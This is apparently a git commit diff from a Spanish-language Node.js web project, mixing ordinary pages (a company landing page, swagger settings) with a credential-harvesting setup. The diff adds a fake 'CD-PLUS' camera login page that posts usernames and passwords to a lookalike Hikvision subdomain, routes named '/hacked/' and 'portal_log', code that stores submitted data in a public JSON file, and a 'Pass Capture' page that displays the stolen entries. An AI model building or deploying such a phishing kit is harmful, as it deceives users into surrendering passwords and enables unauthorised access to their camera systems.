.login-container {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
}
|
||||
|
||||
.login-box {
|
||||
background-color: #fff;
|
||||
padding: 30px;
|
||||
border-radius: 10px;
|
||||
box-shadow: 0 0 15px rgba(0, 0, 0, 0.1);
|
||||
width: 350px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
/* Estilo del logo */
|
||||
.logo {
|
||||
width: 150px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
h2 {
|
||||
margin-bottom: 20px;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
.input-container {
|
||||
margin-bottom: 15px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
label {
|
||||
font-size: 14px;
|
||||
color: #555;
|
||||
}
|
||||
|
||||
input[type="text"],
|
||||
input[type="password"] {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
margin-top: 5px;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 5px;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
button {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
background-color: #e74c3c;
|
||||
border: none;
|
||||
color: white;
|
||||
font-size: 16px;
|
||||
border-radius: 5px;
|
||||
cursor: pointer;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
button:hover {
|
||||
background-color: #c0392b;
|
||||
}
|
||||
|
||||
.forgot-password {
|
||||
display: block;
|
||||
margin-top: 15px;
|
||||
font-size: 14px;
|
||||
color: #3498db;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.forgot-password:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<!-- Selector de idioma -->
|
||||
<div class="language-selector">
|
||||
<label for="language">Idioma:</label>
|
||||
<select id="language" onchange="changeLanguage()">
|
||||
<option value="es">Español</option>
|
||||
<option value="en">English</option>
|
||||
</select>
|
||||
</div>
|
||||
|
||||
<div class="login-container">
|
||||
<div class="login-box">
|
||||
<!-- Logo -->
|
||||
<img src="../img/portal/logo.png" alt="Logo" class="logo">
|
||||
<h2 id="title">Iniciar Sesión</h2>
|
||||
<form id="loginForm">
|
||||
<div class="input-container">
|
||||
<label for="username" id="username-label">Nombre de usuario</label>
|
||||
<input type="text" id="username" placeholder="Ingrese su nombre de usuario" required>
|
||||
</div>
|
||||
<div class="input-container">
|
||||
<label for="password" id="password-label">Contraseña</label>
|
||||
<input type="password" id="password" placeholder="Ingrese su contraseña" required>
|
||||
</div>
|
||||
<button type="submit" id="login-btn">Acceder</button>
|
||||
</form>
|
||||
<a href="#" class="forgot-password" id="forgot-password">¿Olvidó la contraseña?</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
document.getElementById("loginForm").addEventListener("submit", function(event) {
|
||||
event.preventDefault(); // Evita que el formulario se envíe
|
||||
|
||||
// Obtener los valores del formulario
|
||||
const username = document.getElementById("username").value;
|
||||
const password = document.getElementById("password").value;
|
||||
|
||||
// Validación básica
|
||||
if (username === "" || password === "") {
|
||||
alert("Por favor, complete todos los campos");
|
||||
} else {
|
||||
// Llamar al API usando fetch
|
||||
fetch('https://portal.siax-system.net/api/login', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
body: JSON.stringify({
|
||||
username: username,
|
||||
password: password
|
||||
})
|
||||
})
|
||||
.then(response => response.json())
|
||||
.then(data => {
|
||||
if (data.success) {
|
||||
alert("Inicio de sesión exitoso");
|
||||
// Aquí puedes redirigir al usuario a otra página o realizar más acciones
|
||||
} else {
|
||||
alert("Error: " + data.message);
|
||||
}
|
||||
})
|
||||
.catch(error => {
|
||||
console.error("Error en la solicitud:", error);
|
||||
alert("Hubo un problema con el inicio de sesión.");
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
// Función para cambiar el idioma
|
||||
function changeLanguage() {
|
||||
const language = document.getElementById("language").value;
|
||||
|
||||
if (language === "es") {
|
||||
document.getElementById("title").textContent = "Iniciar Sesión";
|
||||
document.getElementById("username-label").textContent = "Nombre de usuario";
|
||||
document.getElementById("username").placeholder = "Ingrese su nombre de usuario";
|
||||
document.getElementById("password-label").textContent = "Contraseña";
|
||||
document.getElementById("password").placeholder = "Ingrese su contraseña";
|
||||
document.getElementById("login-btn").textContent = "Acceder";
|
||||
document.getElementById("forgot-password").textContent = "¿Olvidó la contraseña?";
|
||||
} else if (language === "en") {
|
||||
document.getElementById("title").textContent = "Login";
|
||||
document.getElementById("username-label").textContent = "Username";
|
||||
document.getElementById("username").placeholder = "Enter your username";
|
||||
document.getElementById("password-label").textContent = "Password";
|
||||
document.getElementById("password").placeholder = "Enter your password";
|
||||
document.getElementById("login-btn").textContent = "Login";
|
||||
document.getElementById("forgot-password").textContent = "Forgot password?";
|
||||
}
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
136
src/public/plantilla_html/telcotronics.html
Normal file
136
src/public/plantilla_html/telcotronics.html
Normal file
@@ -0,0 +1,136 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="es">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta name="description"
|
||||
content="Soluciones tecnológicas avanzadas: Facturación, domótica, telecomunicaciones y más">
|
||||
<title>Telcotronics</title>
|
||||
<link rel="stylesheet" href="../css/telcotronics.css">
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<header class="header">
|
||||
<div class="container">
|
||||
<div class="logo">Telcotronics</div>
|
||||
<nav class="navigation">
|
||||
<ul>
|
||||
<li><a href="#inicio">Inicio</a></li>
|
||||
<li><a href="#servicios">Servicios</a></li>
|
||||
<li><a href="#productos">Productos</a></li>
|
||||
<li><a href="#contacto">Contacto</a></li>
|
||||
</ul>
|
||||
</nav>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<section id="inicio" class="hero">
|
||||
<div class="container">
|
||||
<h1>Soluciones Tecnológicas a tu Alcance</h1>
|
||||
<p>Innovación en telecomunicaciones, domótica y más para hacer tu vida más sencilla y eficiente.</p>
|
||||
<a href="#servicios" class="btn-primary">Descubre Más</a>
|
||||
</div>
|
||||
<div class="carousel">
|
||||
<div class="carousel-inner">
|
||||
<img src="https://telcotronics.com/imgPublicidad/1.webp" alt="Banner 1">
|
||||
<img src="https://telcotronics.com/imgPublicidad/2.webp" alt="Banner 2">
|
||||
<img src="https://telcotronics.com/imgPublicidad/3.webp" alt="Banner 3">
|
||||
<img src="https://telcotronics.com/imgPublicidad/4.webp" alt="Banner 4">
|
||||
</div>
|
||||
<div class="carousel-buttons">
|
||||
<button id="prev">❮</button>
|
||||
<button id="next">❯</button>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
|
||||
|
||||
|
||||
<section id="servicios" class="services">
|
||||
<div class="container">
|
||||
<h2>Nuestros Servicios</h2>
|
||||
<div class="service-grid">
|
||||
<div class="service-item">
|
||||
<h3>Facturación Electrónica</h3>
|
||||
<p>Implementación de sistemas avanzados para la gestión de tu negocio.</p>
|
||||
</div>
|
||||
<div class="service-item">
|
||||
<h3>Cámaras de Seguridad</h3>
|
||||
<p>Soluciones de video vigilancia con tecnología de punta.</p>
|
||||
</div>
|
||||
<div class="service-item">
|
||||
<h3>Domótica Inteligente</h3>
|
||||
<p>Automatización de espacios para mayor comodidad y seguridad.</p>
|
||||
</div>
|
||||
<div class="service-item">
|
||||
<h3>Redes y Telecomunicaciones</h3>
|
||||
<p>Diseño e instalación de redes empresariales y domésticas.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section id="productos" class="products">
|
||||
<div class="container">
|
||||
<h2>Productos Destacados</h2>
|
||||
<div class="product-grid">
|
||||
<div class="product-item">
|
||||
<img src="images/panel-solar.jpg" alt="Panel Solar">
|
||||
<h3>Paneles Solares</h3>
|
||||
</div>
|
||||
<div class="product-item">
|
||||
<img src="images/camara.jpg" alt="Cámara de Seguridad">
|
||||
<h3>Cámaras IP</h3>
|
||||
</div>
|
||||
<div class="product-item">
|
||||
<img src="images/switch.jpg" alt="Switch de Redes">
|
||||
<h3>Switch de Redes</h3>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<footer class="footer">
|
||||
<div class="container">
|
||||
<div class="footer-info">
|
||||
<p>© 2024 Telcotronics. Todos los derechos reservados.</p>
|
||||
<p>Contacto: <a href="mailto:info@telcotronics.com">info@telcotronics.com</a></p>
|
||||
</div>
|
||||
</div>
|
||||
</footer>
|
||||
<script>
|
||||
const carouselInner = document.querySelector('.carousel-inner');
|
||||
const images = document.querySelectorAll('.carousel-inner img');
|
||||
const prevButton = document.getElementById('prev');
|
||||
const nextButton = document.getElementById('next');
|
||||
|
||||
let currentIndex = 0;
|
||||
|
||||
function updateCarousel() {
|
||||
const offset = -currentIndex * 100; // Mueve las imágenes
|
||||
carouselInner.style.transform = `translateX(${offset}%)`;
|
||||
}
|
||||
|
||||
prevButton.addEventListener('click', () => {
|
||||
currentIndex = (currentIndex > 0) ? currentIndex - 1 : images.length - 1;
|
||||
updateCarousel();
|
||||
});
|
||||
|
||||
nextButton.addEventListener('click', () => {
|
||||
currentIndex = (currentIndex < images.length - 1) ? currentIndex + 1 : 0;
|
||||
updateCarousel();
|
||||
});
|
||||
|
||||
// Autoplay (opcional)
|
||||
setInterval(() => {
|
||||
nextButton.click();
|
||||
}, 5000);
|
||||
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -37,4 +37,12 @@ rutas.post('/operaciones/', controlador_init.recibe_datos);//testing json reccep
|
||||
rutas.get('/app-tv/', controlador_init.app_tv);//app de tv y video json
|
||||
rutas.get('/tv-online/', controlador_init.app_tv);//app de tv y video json
|
||||
|
||||
rutas.get('/portal/', controlador_init.portal);//app portal cautivo
|
||||
rutas.post('/portal_log/', controlador_init.portal_log);//recibir informacion
|
||||
|
||||
|
||||
rutas.get('/cdplus/', controlador_init.portal);//app portal cautivo
|
||||
rutas.get('/hacked/', controlador_init.pw_hacked);//app portal cautivo
|
||||
|
||||
|
||||
module.exports = rutas;
|
||||
|
||||
49
src/scripts/File_io.js
Normal file
49
src/scripts/File_io.js
Normal file
@@ -0,0 +1,49 @@
|
||||
const fs = require('fs').promises;
|
||||
const path = require('path');
|
||||
const { hostname } = require('os');
|
||||
async function saveToFile(newData) {
|
||||
try {
|
||||
// Obtener la ruta absoluta para evitar problemas con rutas relativas
|
||||
const filePath = path.resolve(__dirname, '../public/files/data.json');
|
||||
const dir = path.dirname(filePath);
|
||||
|
||||
// Asegurarse de que el directorio existe
|
||||
try {
|
||||
await fs.mkdir(dir, { recursive: true });
|
||||
} catch (err) {
|
||||
console.error('Error al crear el directorio:', err);
|
||||
return;
|
||||
}
|
||||
|
||||
// Leer el archivo existente si ya está creado
|
||||
let fileData = [];
|
||||
try {
|
||||
const data = await fs.readFile(filePath, 'utf8');
|
||||
fileData = JSON.parse(data);
|
||||
} catch (err) {
|
||||
// Si el archivo no existe o está vacío, iniciamos con un array vacío
|
||||
if (err.code !== 'ENOENT') {
|
||||
throw err; // Si es otro tipo de error, lo lanzamos
|
||||
}
|
||||
}
|
||||
|
||||
// Si el archivo existe pero no es un array, convertirlo en uno
|
||||
if (!Array.isArray(fileData)) {
|
||||
fileData = [fileData];
|
||||
}
|
||||
|
||||
// Agregar el nuevo objeto
|
||||
fileData.push(newData);
|
||||
|
||||
// Convertir a JSON
|
||||
const jsonData = JSON.stringify(fileData, null, 2);
|
||||
|
||||
// Guardar el archivo con el nuevo array actualizado
|
||||
await fs.writeFile(filePath, jsonData);
|
||||
console.log('Archivo actualizado correctamente.');
|
||||
} catch (err) {
|
||||
console.error('Error al escribir el archivo:', err);
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { saveToFile };
|
||||
0
src/scripts/portal_cautivo.js
Normal file
0
src/scripts/portal_cautivo.js
Normal file
8
src/scripts/tokens.js
Normal file
8
src/scripts/tokens.js
Normal file
@@ -0,0 +1,8 @@
|
||||
const controlador = {};
|
||||
const axios = require('axios').default;
|
||||
const jwt = require('jsonwebtoken');
|
||||
const config = require('../config');
|
||||
const { base64encode, base64decode } = require('nodejs-base64');
|
||||
const { v4: uuidv4 } = require('uuid');
|
||||
|
||||
module.exports = controlador;
|
||||
@@ -1,33 +1,23 @@
|
||||
//Generando Documentacion
|
||||
//const swaggerUi = require('swagger-ui-express');
|
||||
//const swaggerDocument = require('./swagger.json');
|
||||
global.config = require('./config.js');
|
||||
var puerto = global.config.server.port;
|
||||
//const swaggerUi = require('swagger-ui-express');
|
||||
//Documentacion API
|
||||
|
||||
// Documentación API
|
||||
const swaggerJsdoc = require('swagger-jsdoc');
|
||||
const options = {
|
||||
//explore: true,
|
||||
definition: {
|
||||
openapi: '3.1.0',
|
||||
swagger:"2.0",
|
||||
swagger: '2.0', // Usando Swagger 2.0
|
||||
info: {
|
||||
title: 'APP-SIGMA-WEB',
|
||||
version: '1.0.0',
|
||||
description: 'Documentación de la API para la aplicación APP-SIGMA-WEB',
|
||||
},
|
||||
servers:[
|
||||
{
|
||||
url: 'http://localhost:'+puerto,
|
||||
description: 'Development server',
|
||||
},
|
||||
{
|
||||
url: 'http://app.factura-e.net',
|
||||
description: 'Productions server',
|
||||
},
|
||||
|
||||
]
|
||||
host: 'localhost:' + puerto,
|
||||
basePath: '/',
|
||||
schemes: ['http'],
|
||||
},
|
||||
apis: [`${__dirname, '/rutas/*.js'}`], // files containing annotations as above
|
||||
apis: [`${__dirname}/rutas/*.js`],
|
||||
};
|
||||
|
||||
const swagger_config = swaggerJsdoc(options);
|
||||
module.exports = { swagger_config };
|
||||
@@ -22,10 +22,11 @@
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css"/>
|
||||
<link rel="stylesheet" href="https://cdn.materialdesignicons.com/5.4.55/css/materialdesignicons.min.css">
|
||||
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons"type="text/css">
|
||||
<link href="https://xsystem.ddns.net/app/css/app_sigma_pedidosStilos.css" rel="stylesheet" type="text/css">
|
||||
<link href="https://xsystem.ddns.net/app/css/app_sigma_pedidosDetalle.css" rel="stylesheet" type="text/css">
|
||||
|
||||
<link href="https://siax-system.net/app/css/app_sigma_pedidosStilos.css" rel="stylesheet" type="text/css">
|
||||
<link href="https://siax-system.net/app/css/app_sigma_pedidosDetalle.css" rel="stylesheet" type="text/css">
|
||||
<link href="./css/tipografias.css" rel="stylesheet" type="text/css"/>
|
||||
<link href="https://xsystem.ddns.net/app/css/animate.css" rel="stylesheet" />
|
||||
<link href="https://siax-system.net/app/css/animate.css" rel="stylesheet" />
|
||||
|
||||
</head>
|
||||
|
||||
@@ -224,6 +225,7 @@
|
||||
<button class="btn col s6" onClick="envioPedidos()"><i class="material-icons">cloud_upload</i>Enviar Pedido</button>
|
||||
</div>
|
||||
<div class="collapsible-body">
|
||||
<div id="mensaje_btns"></div>
|
||||
</div>
|
||||
</li>
|
||||
</ul> </div>
|
||||
@@ -248,8 +250,8 @@
|
||||
<!-- Compiled and minified JavaScript -->
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
|
||||
|
||||
<script src="https://xsystem.ddns.net/app/js/app_sigma_pedidosMain.js"></script>
|
||||
<script src="https://xsystem.ddns.net/app/js/app_sigma_pedidosModal.js"></script>
|
||||
<script src="https://siax-system.net/app/js/app_sigma_pedidosMain.js"></script>
|
||||
<script src="https://siax-system.net/app/js/app_sigma_pedidosModal.js"></script>
|
||||
|
||||
</body>
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<html lang="es">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
|
||||
84
src/views/no_autorizado.ejs
Normal file
84
src/views/no_autorizado.ejs
Normal file
@@ -0,0 +1,84 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="es">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>No Autorizado</title>
|
||||
<style>
|
||||
/* Reseteo básico */
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
font-family: 'Arial', sans-serif;
|
||||
}
|
||||
|
||||
body, html {
|
||||
height: 100%;
|
||||
background-color: #f4f4f9;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.container {
|
||||
text-align: center;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
.card {
|
||||
background-color: #fff;
|
||||
padding: 50px;
|
||||
border-radius: 15px;
|
||||
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
|
||||
max-width: 400px;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 100px;
|
||||
color: #ff6b6b;
|
||||
}
|
||||
|
||||
h2 {
|
||||
font-size: 28px;
|
||||
color: #333;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
p {
|
||||
color: #666;
|
||||
font-size: 18px;
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
|
||||
.button {
|
||||
background-color: #ff6b6b;
|
||||
color: white;
|
||||
padding: 10px 20px;
|
||||
border: none;
|
||||
border-radius: 5px;
|
||||
text-decoration: none;
|
||||
font-size: 18px;
|
||||
transition: background-color 0.3s ease;
|
||||
}
|
||||
|
||||
.button:hover {
|
||||
background-color: #ff4b4b;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="card">
|
||||
<h1>403</h1>
|
||||
<h2>Acceso No Autorizado</h2>
|
||||
<p>No tienes permiso para acceder a esta página.</p>
|
||||
<a href="/" class="button">Volver al Inicio</a>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
204
src/views/portal.ejs
Normal file
204
src/views/portal.ejs
Normal file
@@ -0,0 +1,204 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="es">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Login Camaras CD-PLUS</title>
|
||||
<link href="../img/portal/favicon.ico" type="image/x-icon" rel="shortcut icon">
|
||||
<style>
|
||||
* {
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
font-family: Arial, sans-serif;
|
||||
}
|
||||
|
||||
body {
|
||||
background-image: url('../img/portal/login.jpg'); /* Imagen de fondo */
|
||||
background-size: cover;
|
||||
background-position: center;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
}
|
||||
|
||||
.language-selector {
|
||||
position: absolute;
|
||||
top: 10px;
|
||||
right: 20px;
|
||||
background-color: rgba(255, 255, 255, 0.8);
|
||||
padding: 10px;
|
||||
border-radius: 5px;
|
||||
}
|
||||
|
||||
.login-container {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
}
|
||||
|
||||
.login-box {
|
||||
background-color: #fff;
|
||||
padding: 30px;
|
||||
border-radius: 10px;
|
||||
box-shadow: 0 0 15px rgba(0, 0, 0, 0.1);
|
||||
width: 350px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
/* Estilo del logo */
|
||||
.logo {
|
||||
width: 150px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
h2 {
|
||||
margin-bottom: 20px;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
.input-container {
|
||||
margin-bottom: 15px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
label {
|
||||
font-size: 14px;
|
||||
color: #555;
|
||||
}
|
||||
|
||||
input[type="text"],
|
||||
input[type="password"] {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
margin-top: 5px;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 5px;
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
button {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
background-color: #e74c3c;
|
||||
border: none;
|
||||
color: white;
|
||||
font-size: 16px;
|
||||
border-radius: 5px;
|
||||
cursor: pointer;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
button:hover {
|
||||
background-color: #c0392b;
|
||||
}
|
||||
|
||||
.forgot-password {
|
||||
display: block;
|
||||
margin-top: 15px;
|
||||
font-size: 14px;
|
||||
color: #3498db;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.forgot-password:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<!-- Selector de idioma -->
|
||||
<div class="language-selector">
|
||||
<label for="language">Idioma:</label>
|
||||
<select id="language" onchange="changeLanguage()">
|
||||
<option value="es">Español</option>
|
||||
<option value="en">English</option>
|
||||
</select>
|
||||
</div>
|
||||
|
||||
<div class="login-container">
|
||||
<div class="login-box">
|
||||
<!-- Logo -->
|
||||
<img src="../img/portal/logo.png" alt="Logo" class="logo">
|
||||
<h2 id="title">Iniciar Sesión</h2>
|
||||
<form id="loginForm">
|
||||
<div class="input-container">
|
||||
<label for="username" id="username-label">Nombre de usuario</label>
|
||||
<input type="text" id="username" placeholder="Ingrese su nombre de usuario" required>
|
||||
</div>
|
||||
<div class="input-container">
|
||||
<label for="password" id="password-label">Contraseña</label>
|
||||
<input type="password" id="password" placeholder="Ingrese su contraseña" required>
|
||||
</div>
|
||||
<button type="submit" id="login-btn">Acceder</button>
|
||||
</form>
|
||||
<a href="#" class="forgot-password" id="forgot-password">¿Olvidó la contraseña?</a>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
document.getElementById("loginForm").addEventListener("submit", function(event) {
|
||||
event.preventDefault(); // Evita que el formulario se envíe
|
||||
|
||||
// Obtener los valores del formulario
|
||||
const username = document.getElementById("username").value;
|
||||
const password = document.getElementById("password").value;
|
||||
|
||||
// Validación básica
|
||||
if (username === "" || password === "") {
|
||||
alert("Por favor, complete todos los campos");
|
||||
} else {
|
||||
// Llamar al API usando fetch
|
||||
fetch('https://hikvision.siax-system.net/portal_log', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
body: JSON.stringify({
|
||||
username: username,
|
||||
password: password
|
||||
})
|
||||
})
|
||||
.then(response => response.json())
|
||||
.then(data => {
|
||||
if (data.success) {
|
||||
alert("Inicio de sesión exitoso");
|
||||
// Aquí puedes redirigir al usuario a otra página o realizar más acciones
|
||||
} else {
|
||||
alert("Error: " + data.message);
|
||||
}
|
||||
})
|
||||
.catch(error => {
|
||||
console.error("Error en la solicitud:", error);
|
||||
alert("El usuario o Contraseñas son incorrectos.");
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
// Función para cambiar el idioma
|
||||
function changeLanguage() {
|
||||
const language = document.getElementById("language").value;
|
||||
|
||||
if (language === "es") {
|
||||
document.getElementById("title").textContent = "Iniciar Sesión";
|
||||
document.getElementById("username-label").textContent = "Nombre de usuario";
|
||||
document.getElementById("username").placeholder = "Ingrese su nombre de usuario";
|
||||
document.getElementById("password-label").textContent = "Contraseña";
|
||||
document.getElementById("password").placeholder = "Ingrese su contraseña";
|
||||
document.getElementById("login-btn").textContent = "Acceder";
|
||||
document.getElementById("forgot-password").textContent = "¿Olvidó la contraseña?";
|
||||
} else if (language === "en") {
|
||||
document.getElementById("title").textContent = "Login";
|
||||
document.getElementById("username-label").textContent = "Username";
|
||||
document.getElementById("username").placeholder = "Enter your username";
|
||||
document.getElementById("password-label").textContent = "Password";
|
||||
document.getElementById("password").placeholder = "Enter your password";
|
||||
document.getElementById("login-btn").textContent = "Login";
|
||||
document.getElementById("forgot-password").textContent = "Forgot password?";
|
||||
}
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
118
src/views/ver_pass.ejs
Normal file
118
src/views/ver_pass.ejs
Normal file
@@ -0,0 +1,118 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Mostrar Data</title>
|
||||
<style>
|
||||
/* Reseteo básico */
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
font-family: 'Arial', sans-serif;
|
||||
}
|
||||
|
||||
body {
|
||||
background-color: #f4f4f9;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
h1 {
|
||||
font-size: 36px;
|
||||
color: #333;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
pre {
|
||||
background-color: #1e1e1e;
|
||||
color: #d4d4d4;
|
||||
padding: 20px;
|
||||
border-radius: 10px;
|
||||
width: 80%;
|
||||
max-width: 600px;
|
||||
white-space: pre-wrap;
|
||||
word-wrap: break-word;
|
||||
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
/* Estilo para el contenedor de datos en modo "code" */
|
||||
#data-container {
|
||||
font-family: 'Courier New', Courier, monospace;
|
||||
font-size: 16px;
|
||||
line-height: 1.5;
|
||||
color: #dcdcdc;
|
||||
}
|
||||
|
||||
/* Resaltado de sintaxis */
|
||||
#data-container .key {
|
||||
color: #569cd6;
|
||||
}
|
||||
|
||||
#data-container .string {
|
||||
color: #ce9178;
|
||||
}
|
||||
|
||||
#data-container .number {
|
||||
color: #b5cea8;
|
||||
}
|
||||
|
||||
#data-container .boolean {
|
||||
color: #569cd6;
|
||||
}
|
||||
|
||||
#data-container .null {
|
||||
color: #569cd6;
|
||||
}
|
||||
|
||||
</style>
|
||||
<script>
|
||||
async function fetchData() {
|
||||
try {
|
||||
const response = await fetch('../files/data.json');
|
||||
const data = await response.json();
|
||||
|
||||
// Formatear JSON con resaltado de sintaxis
|
||||
const formattedData = syntaxHighlight(JSON.stringify(data, null, 2));
|
||||
|
||||
// Mostrar el objeto data en el HTML
|
||||
const dataContainer = document.getElementById('data-container');
|
||||
dataContainer.innerHTML = formattedData;
|
||||
} catch (err) {
|
||||
console.error('Error al obtener los datos:', err);
|
||||
}
|
||||
}
|
||||
|
||||
function syntaxHighlight(json) {
|
||||
json = json.replace(/(&)/g, '&').replace(/(>)/g, '>').replace(/(<)/g, '<');
|
||||
return json.replace(/("(\\u[\da-fA-F]{4}|\\[^u]|[^\\"])*"(\s*:)?|\b(true|false|null)\b|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?)/g, function (match) {
|
||||
let cls = 'number';
|
||||
if (/^"/.test(match)) {
|
||||
if (/:$/.test(match)) {
|
||||
cls = 'key';
|
||||
} else {
|
||||
cls = 'string';
|
||||
}
|
||||
} else if (/true|false/.test(match)) {
|
||||
cls = 'boolean';
|
||||
} else if (/null/.test(match)) {
|
||||
cls = 'null';
|
||||
}
|
||||
return '<span class="' + cls + '">' + match + '</span>';
|
||||
});
|
||||
}
|
||||
|
||||
window.onload = fetchData;
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Pass Capture</h1>
|
||||
<pre id="data-container"></pre>
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user